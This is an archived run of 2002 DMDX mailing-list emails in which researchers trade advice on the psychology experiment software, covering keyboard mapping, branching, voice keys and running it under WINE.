9 response I want to get back to the main program repeating >the (L/R) and contingent sequence >Do I need to run a branching subroutine to accomplish this?? Using a subroutine will certainly shrink the size of your item file. > I love this stuff....... despite its many challenges You wanna try documenting it, writing it is easy, explaining what's possible is impossible. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 8 20:07:43 2002 Received: from mailhost.gu.edu.au (kraken.itc.gu.edu.au [132.234.250.31]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9937FMS000535 for ; Tue, 8 Oct 2002 20:07:16 -0700 Received: from mail02.domino.gu.edu.au (mail02.domino.gu.edu.au [132.234.250.21]) by mailhost.gu.edu.au (8.10.1/8.10.1) with ESMTP id g9934pC22437 for ; Wed, 9 Oct 2002 13:04:51 +1000 (EST) Subject: [DMDX] Karen Murphy/Staff/Griffith is out of the office. From: ""Karen Murphy"" To: DMDX@psy1.psych.arizona.edu Message-ID: Date: Wed, 9 Oct 2002 13:04:49 +1000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I will be out of the office starting 09/10/2002 and will not return until 17/10/2002. I will respond to your message when I return. >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 8 23:08:55 2002 Received: from mailhost.gu.edu.au (kraken.itc.gu.edu.au [132.234.250.31]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9968GMS000905 for ; Tue, 8 Oct 2002 23:08:17 -0700 Received: from mail02.domino.gu.edu.au (mail02.domino.gu.edu.au [132.234.250.21]) by mailhost.gu.edu.au (8.10.1/8.10.1) with ESMTP id g9965sC16291 for ; Wed, 9 Oct 2002 16:05:54 +1000 (EST) Subject: [DMDX] Karen Murphy/Staff/Griffith is out of the office. From: ""Karen Murphy"" To: DMDX@psy1.psych.arizona.edu Message-ID: Date: Wed, 9 Oct 2002 16:05:50 +1000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I will be out of the office starting 09/10/2002 and will not return until 17/10/2002. I will respond to your message when I return. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 9 02:28:14 2002 Received: from mailhost.gu.edu.au (kraken.itc.gu.edu.au [132.234.250.31]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9999AMS001246 for ; Wed, 9 Oct 2002 02:09:12 -0700 Received: from mail02.domino.gu.edu.au (mail02.domino.gu.edu.au [132.234.250.21]) by mailhost.gu.edu.au (8.10.1/8.10.1) with ESMTP id g9996nC05887 for ; Wed, 9 Oct 2002 19:06:49 +1000 (EST) Subject: [DMDX] Karen Murphy/Staff/Griffith is out of the office. From: ""Karen Murphy"" To: DMDX@psy1.psych.arizona.edu Message-ID: Date: Wed, 9 Oct 2002 19:06:45 +1000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I will be out of the office starting 09/10/2002 and will not return until 17/10/2002. I will respond to your message when I return. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 9 05:09:42 2002 Received: from mailhost.gu.edu.au (kraken.itc.gu.edu.au [132.234.250.31]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g99C97MS001685 for ; Wed, 9 Oct 2002 05:09:08 -0700 Received: from mail02.domino.gu.edu.au (mail02.domino.gu.edu.au [132.234.250.21]) by mailhost.gu.edu.au (8.10.1/8.10.1) with ESMTP id g99C6kC07486 for ; Wed, 9 Oct 2002 22:06:46 +1000 (EST) Subject: [DMDX] Karen Murphy/Staff/Griffith is out of the office. From: ""Karen Murphy"" To: DMDX@psy1.psych.arizona.edu Message-ID: Date: Wed, 9 Oct 2002 22:06:40 +1000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I will be out of the office starting 09/10/2002 and will not return until 17/10/2002. I will respond to your message when I return. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 9 05:55:48 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [193.63.252.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g99CtiMS001847 for ; Wed, 9 Oct 2002 05:55:44 -0700 Received: from [193.63.253.89] (helo=pc057.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17zGL3-0002HY-00 for DMDX@psy1.psych.arizona.edu; Wed, 09 Oct 2002 13:53:21 +0100 Message-Id: <5.1.0.14.2.20021009135239.033924a0@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 09 Oct 2002 13:53:20 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Vaction messages... Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Could folk remember to temporarily unsubscribe if they are going away for a while and have set up an automatic vaction message. This will stop the list being clogged up with the automatic responses. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 9 08:47:02 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g99FkcMS002434 for ; Wed, 9 Oct 2002 08:46:38 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DA4265400004F36 for DMDX@psy1.psych.arizona.edu; Wed, 9 Oct 2002 08:44:15 -0700 Message-Id: <5.1.0.14.2.20021009084243.00b12858@psy1.psych.arizona.edu> Date: Wed, 09 Oct 2002 08:44:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Vaction messages... In-Reply-To: <5.1.0.14.2.20021009135239.033924a0@pophost.mrc-cbu.cam.ac. uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list She has been unsubscribed. I wasn't doing it because Ken said he wanted to do that kind of stuff but patently he's either not around or hasn't done it so I preempted him. At 01:53 PM 10/9/2002 +0100, you wrote: >Could folk remember to temporarily unsubscribe if they are going away for >a while and have set up an automatic vaction message. This will stop the >list being clogged up with the automatic responses. > >- Mike /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 13 05:16:19 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9DCFFMS010416 for ; Sun, 13 Oct 2002 05:15:15 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id g9DCDfXO001746 for ; Sun, 13 Oct 2002 14:13:41 +0200 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Sun, 13 Oct 2002 14:12:04 +0200 Message-Id: Date: Sun, 13 Oct 2002 14:11:28 +0200 From: ""Derek Eder"" To: Subject: [DMDX] Running DMDX under Linux? Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list (it is Sunday afternoon; I came to my office to do some real work, but instead, I can't resist wondering in public ....) Could DMDX possibly run under Linux using the ""Windows emulator"" WINE? The ""games people"" seem to have Windows DirectX 8.0 based games running (e.g., see: http://www.transgaming.com/news.php?newsid=25 ) ""TransGaming is actively developing improvements to the Wine project to achieve full compatibility with the Microsoft� DirectX� APIs without sacrificing any performance. Wine is an implementation of the Microsoft� Win32� APIs on top of UNIX and X-Windows; in essence, it is a Windows� compatibility layer. Wine is an Open Source project, and has a web site of its own at www.winehq.com. It does not require Microsoft Windows to be installed."" - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap Klinisk Neurofysiologi Sahlgrenska universitetssjukhuset SS/SU Bl� str�ket 7, v�n 3 SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 244 14 (office) NYTT! Tlf. +46 (031) 34 212 83 (laboratory) Tlf. +46 0709 / 7 212 83 (mobil) Fax. +46 (031) 82 81 63 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Department of Clinical Neurophysiology Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 13 16:57:22 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9DNuYMS011346 for ; Sun, 13 Oct 2002 16:56:34 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DA819760001E63F for DMDX@psy1.psych.arizona.edu; Sun, 13 Oct 2002 16:53:58 -0700 Message-Id: <5.1.0.14.2.20021013164932.00b12848@psy1.psych.arizona.edu> Date: Sun, 13 Oct 2002 16:53:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Running DMDX under Linux? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:11 PM 10/13/2002 +0200, you wrote: >(it is Sunday afternoon; I came to my office to do some real work, but >instead, I can't resist wondering in public ....) > >Could DMDX possibly run under Linux using the ""Windows emulator"" WINE? Well if the timing is any good it will be a minor miracle. Not only must DirectX function (and DMDX uses DirectX in an odd enough fashion to find holes in almost all drivers, however there's always -buffers 2) but the kernal multimedia callbacks must function as they do under win32 alone. You'll have to pay pretty careful attention to the TimeDX millisecond tests that are usually overlooked. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 01:22:09 2002 Received: from smtp.infonex.net (smtp.infonex.com [168.143.114.3]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9E8L1MS012057 for ; Mon, 14 Oct 2002 01:21:02 -0700 Received: from [212.19.142.119] (cyberpass.net [168.143.113.7]) by smtp.infonex.net (8.11.5/8.11.5) with ESMTP id g9E8IEt28154 for ; Mon, 14 Oct 2002 01:18:16 -0700 (PDT) Mime-Version: 1.0 Message-Id: In-Reply-To: <02dd01c1889e$f33c2520$312815ac@psycho.univparis5.fr> References: <02dd01c1889e$f33c2520$312815ac@psycho.univparis5.fr> Date: Mon, 14 Oct 2002 15:18:01 +0700 To: DMDX@psy1.psych.arizona.edu From: Greg Thomson Subject: [DMDX] Non-English Keyboard problem Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am using Russian Windows 98 and, DirectX 8.1. The following has happened 1) When trying to run the demo experiment vis1, I got an error message regarding the inability of DMDX to find the input device. 2) I checked recent the archives of this list and found that someone else had this problem recently. 3) I followed the suggestion, entering 4) That fixed that problem. 5) DMDX would now reach the point in the experiment where a response was required on the keyboard (a spacebar press). 6) The response (spacebar press) had no effect. 7) I added the mapping definition (using the russian word shown in the input device test in TimeDX) 8) I next got an error message that no such button could be found I hope there is a simple answer. Greg -- ****PLEASE NOTE: our email address is now greg_thomson@telus.net. Please discontinue using gthomson@mac.com, as it will soon expire.**** >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 05:14:47 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9EC4fMS012412 for ; Mon, 14 Oct 2002 05:04:41 -0700 Received: from ITP003021 (caligula-asy-54.uws.edu.au [137.154.196.216]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9EC20501458 for ; Mon, 14 Oct 2002 22:02:00 +1000 (EST) From: ""Arch Tibben"" To: Subject: [DMDX] branching backwards Date: Mon, 14 Oct 2002 21:44:38 +1000 Message-ID: <000001c27379$ea9cd920$d8c49a89@ITP003021> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi I have had a program working that branches depending on a correct or incorrect answer..then a further decisional response is required which then branches back to the main program. My problem is that my main prog and branching prog are becoming corrupted when scrambling. I know there is some literature/warning using backward branching and scrambling, however I would be grateful for some advice on this....Frequently , rather than displaying the first bmp file in the sequence ,,,the first branch instruction prompts the second decisional string. This should only happen after the first instruction. However it bypasses the main string and starts with a branch instruction arch >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 07:27:30 2002 Received: from up.univ-mrs.fr (mailup.univ-mrs.fr [147.94.113.16]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9EEQTMS012639 for ; Mon, 14 Oct 2002 07:26:29 -0700 Received: from localhost (localhost [127.0.0.1]) by up.univ-mrs.fr (Postfix) with ESMTP id A58AE2BFB2 for ; Mon, 14 Oct 2002 16:23:49 +0200 (CEST) Received: from localhost (unknown [194.57.187.13]) by up.univ-mrs.fr (Postfix) with SMTP id 0B0B92C029 for ; Mon, 14 Oct 2002 16:23:48 +0200 (CEST) Message-ID: <000401c2738e$b35900a0$0100007f@aixupunivaix.fr> From: ""Cheryl Frenck-Mestre"" To: References: <02dd01c1889e$f33c2520$312815ac@psycho.univparis5.fr> Subject: [DMDX] Re: Non-English Keyboard problem Date: Mon, 14 Oct 2002 16:33:44 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list use quotation marks around your russian input name. >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 08:13:51 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9EF3eMS012762 for ; Mon, 14 Oct 2002 08:03:40 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA4508 for ; Mon, 14 Oct 2002 17:00:01 +0200 Message-ID: <3DAADC07.9060007@ling.uni-potsdam.de> Date: Mon, 14 Oct 2002 17:00:23 +0200 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] use of Voice Key References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, We were wondering if anyone has any sample scripts in which A VoiceKey is used. All help is greatly appreciated, best, Christiane Bohn + Ruben van de Vijver >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 08:25:30 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9EFOuMS012875 for ; Mon, 14 Oct 2002 08:24:56 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DAABC8800003A0E for DMDX@psy1.psych.arizona.edu; Mon, 14 Oct 2002 08:22:17 -0700 Message-Id: <5.1.0.14.2.20021014081903.00b12848@psy1.psych.arizona.edu> Date: Mon, 14 Oct 2002 08:22:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: branching backwards In-Reply-To: <000001c27379$ea9cd920$d8c49a89@ITP003021> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:44 PM 10/14/2002 +1000, you wrote: >Hi I have had a program working that branches depending on a correct or >incorrect answer..then a further decisional response is required which >then branches back to the main program. My problem is that my main prog >and branching prog are becoming corrupted when scrambling. I know there is >some literature/warning using backward branching and scrambling, however I >would be grateful for some advice on this....Frequently , rather than >displaying the first bmp file in the sequence ,,,the first branch >instruction prompts the second decisional string. This should only happen >after the first instruction. However it bypasses the main string and starts >with a branch instruction The variable grouping keyword makes scrambling these kinds of item files much easier: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhvariablegroupingkeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 08:26:58 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9EFQZMS012902 for ; Mon, 14 Oct 2002 08:26:36 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DAABC8800003AED for DMDX@psy1.psych.arizona.edu; Mon, 14 Oct 2002 08:23:57 -0700 Message-Id: <5.1.0.14.2.20021014082259.00b12848@psy1.psych.arizona.edu> Date: Mon, 14 Oct 2002 08:23:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: use of Voice Key In-Reply-To: <3DAADC07.9060007@ling.uni-potsdam.de> References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:00 PM 10/14/2002 +0200, you wrote: >Hi, > >We were wondering if anyone has any sample scripts in which A VoiceKey is >used. All help is greatly appreciated, Just use a regular script but include instead of or as well as standard input devices. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 08:38:18 2002 Received: from fed1mtao04.cox.net (fed1mtao04.cox.net [68.6.19.241]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9EFbnMS012991 for ; Mon, 14 Oct 2002 08:37:49 -0700 Received: from cx573943a ([68.0.190.205]) by fed1mtao04.cox.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with SMTP id <20021014153506.MJOL14315.fed1mtao04.cox.net@cx573943a> for ; Mon, 14 Oct 2002 11:35:06 -0400 From: ""Matthew Finkbeiner"" To: Subject: [DMDX] RE: use of Voice Key Date: Mon, 14 Oct 2002 08:42:00 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <3DAADC07.9060007@ling.uni-potsdam.de> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > > Hi, > > We were wondering if anyone has any sample scripts in which A VoiceKey > is used. All help is greatly appreciated, > > best, > > Christiane Bohn + Ruben van de Vijver Here's a snippet from one of my picture naming files.... ======================================================================= g40 s4 d-5 f85 $ $ $ 6000 c; 0 ""Experimental File A1""; 0 g ""hat"" c; 0 g ""frog"" c; 0 g ""ruler"" c; 0 g ""thumb"" c; 0 g ""pencil"" c; 0 g ""cat"" c; 0 g ""saw"" c; +1 ""skip the practice items?"" * ; 0 g ""instructions 1"", @8 ""press the foot pedal to continue""; 0 g ""instructions 2 (list A)"", @8 ""press the foot pedal to continue""; 0 g ""instructions 3"", @8 ""press the foot pedal to begin""; ! practice ; +9133 / %42 ""+"" / g ""grey"" , *g""cat"" ; +9137 / %42 ""+"" / g ""grey"" / ! %42 / ! *g""frog"" ; +9150 / %42 ""+"" / g ""grey"" / ! %42 / ! *g""tree"" ; +9138 / %42 ""+"" / g ""grey"" / ! %42 / ! *g""hat"" ; +9112 / %42 ""+"" / g ""grey"" , *g""chair"" ; +9131 / %42 ""+"" / g ""grey"" , *g""apple"" ; +9111 / %42 ""+"" / g ""grey"" , *g""book"" ; +9143 / %42 ""+"" / g ""grey"" / ! %42 / ! *g""pear"" ; +9132 / %42 ""+"" / g ""grey"" , *g""candle"" ; +9148 / %42 ""+"" / g ""grey"" / ! %42 / ! *g""pencil"" ; +9234 / %42 ""+"" / g ""green"" , *g""clock"" ; +9213 / %42 ""+"" / g ""green"" , *g""dog"" ; +9248 / %42 ""+"" / g ""green"" / ! %42 / ! *g""pencil"" ; +9215 / %42 ""+"" / g ""green"" , *g""key"" ; +9235 / %42 ""+"" / g ""green"" , *g""duck"" ; +9232 / %42 ""+"" / g ""green"" , *g""candle"" ; >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 08:48:34 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [193.63.252.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9EFm7MS013077 for ; Mon, 14 Oct 2002 08:48:08 -0700 Received: from [193.63.253.227] (helo=PC195.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 1817PJ-0007Mt-00 for DMDX@psy1.psych.arizona.edu; Mon, 14 Oct 2002 16:45:25 +0100 Message-Id: <5.1.1.6.2.20021014163924.03bce1f8@193.63.253.1> Date: Mon, 14 Oct 2002 16:44:47 +0100 To: DMDX@psy1.psych.arizona.edu From: Matt Davis Subject: [DMDX] Re: use of Voice Key In-Reply-To: <5.1.0.14.2.20021014082259.00b12848@psy1.psych.arizona.edu> References: <3DAADC07.9060007@ling.uni-potsdam.de> <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:23 14/10/2002 -0700, you wrote: >At 05:00 PM 10/14/2002 +0200, you wrote: >>Hi, >> >>We were wondering if anyone has any sample scripts in which A VoiceKey >>is used. All help is greatly appreciated, > > > Just use a regular script but include instead of or as > well as standard input devices. Some more hints for Digital Vox: 1) use as well - that way if the voice key should misbehave or the subjects voice gets progressively quieter you have a record of their responses to use for off-line analysis 2) set a short time-out (e.g. 2000ms) - DMDX will record for as long as the time-out so you don't want this to be too long unless disk-space is an infinite resource for you. 3) make sure that you specify a subject ID for each volunteer. Otherwise you may end up overwriting speech files. Starting and ending your ID with a . (for example using the ID "".matt."") can also be useful since it makes file management easier. Good luck, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 19:11:32 2002 Received: from smtp.infonex.net (smtp.infonex.com [168.143.114.3]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9F2B8MS014219 for ; Mon, 14 Oct 2002 19:11:08 -0700 Received: from [212.19.142.116] (cyberpass.net [168.143.113.7]) by smtp.infonex.net (8.11.5/8.11.5) with ESMTP id g9F28Et18461 for ; Mon, 14 Oct 2002 19:08:17 -0700 (PDT) Mime-Version: 1.0 Message-Id: In-Reply-To: <000401c2738e$b35900a0$0100007f@aixupunivaix.fr> References: <02dd01c1889e$f33c2520$312815ac@psycho.univparis5.fr> <000401c2738e$b35900a0$0100007f@aixupunivaix.fr> Date: Tue, 15 Oct 2002 06:56:31 +0700 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Non-English Keyboard problem Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 4:33 PM +0200 10/14/02, Cheryl Frenck-Mestre wrote: >use quotation marks around your russian input name. Did that, too. (Otherwise it won't even report the name of the key it can't find.) Greg -- ****PLEASE NOTE: our email address is now greg_thomson@telus.net. Please discontinue using gthomson@mac.com, as it will soon expire.**** >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 14 21:11:27 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9F4BGMS014544 for ; Mon, 14 Oct 2002 21:11:16 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DAB5F0A0000612C for DMDX@psy1.psych.arizona.edu; Mon, 14 Oct 2002 21:08:36 -0700 Message-Id: <5.1.0.14.2.20021014210250.00b12848@psy1.psych.arizona.edu> Date: Mon, 14 Oct 2002 21:08:35 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Non-English Keyboard problem In-Reply-To: References: <000401c2738e$b35900a0$0100007f@aixupunivaix.fr> <02dd01c1889e$f33c2520$312815ac@psycho.univparis5.fr> <000401c2738e$b35900a0$0100007f@aixupunivaix.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:56 AM 10/15/2002 +0700, you wrote: >At 4:33 PM +0200 10/14/02, Cheryl Frenck-Mestre wrote: >>use quotation marks around your russian input name. > >Did that, too. (Otherwise it won't even report the name of the key it >can't find.) You've to the keyword after the keyword? Beyond a simple mis-typing I can't think of much else. There are a couple of screen capture utilities out there, if you could send me (not the list) a snapshot of the TimeDX keyboard test with the name of the key in question and the diagnostics.txt when you try and map that key in DMDX (which I hope has enough information in it) I can look at it in more detail. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 16 05:28:18 2002 Received: from smtp.infonex.net (smtp.infonex.com [168.143.114.3]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9GCRaMS019200 for ; Wed, 16 Oct 2002 05:27:36 -0700 Received: from [212.19.142.127] (cyberpass.net [168.143.113.7]) by smtp.infonex.net (8.11.5/8.11.5) with ESMTP id g9GCOQt21068 for ; Wed, 16 Oct 2002 05:24:35 -0700 (PDT) Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20021015165005.033adad8@pophost.mrc-cbu.cam.ac.uk> References: <5.1.0.14.2.20021014210250.00b12848@psy1.psych.arizona.edu> <000401c2738e$b35900a0$0100007f@aixupunivaix.fr> <02dd01c1889e$f33c2520$312815ac@psycho.univparis5.fr> <000401c2738e$b35900a0$0100007f@aixupunivaix.fr> <5.1.0.14.2.20021014210250.00b12848@psy1.psych.arizona.edu> <5.1.0.14.2.20021015165005.033adad8@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 16 Oct 2002 19:23:57 +0700 To: DMDX@psy1.psych.arizona.edu From: Greg Thomson Subject: [DMDX] Re: Non-English Keyboard problem Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Mike, some of the keyboard buttons have English names, such as ""Del"", and I've tried , and that doesn't work either. I don't think there would be a transliteration problem in such a case. Greg At 5:03 PM +0100 10/15/02, Mike Ford wrote: >Some sort of transliteration problem? Have you tried putting in the >names in the characters as they would look if Russian fonts weren't >installed? So you would have a string of probably vowels with >diacritics? > >Poka > >- Mike > > >At 08:33 15/10/2002 -0700, you wrote: >>At 03:22 PM 10/15/2002 +0700, you wrote: >>>The keyword, with the Russian word ""Klaviatura"" (= >>>""keyboard""), works fine. It enables DMDX to find the keyboard, and >>>produces no error message. However, the problem is with the >>>keyword (and other mapping keywords). TimeDX finds all the buttons >>>on the keyboard and mouse, but DMDX can't find them, even though I >>>type the names exactly as TimeDX presents them. >>> >>>Thanks, >>>Greg >>> >>>p.s. >>>I'll try to get a screen capture utility, etc. (It's a bit >>>complicated as my Internet access is on a Mac at home, and the >>>computer in question is in my lab at the Kazakh National >>>Univerisity without Internet access.) >> >> >> The only alternative is for me to cook up a special version of 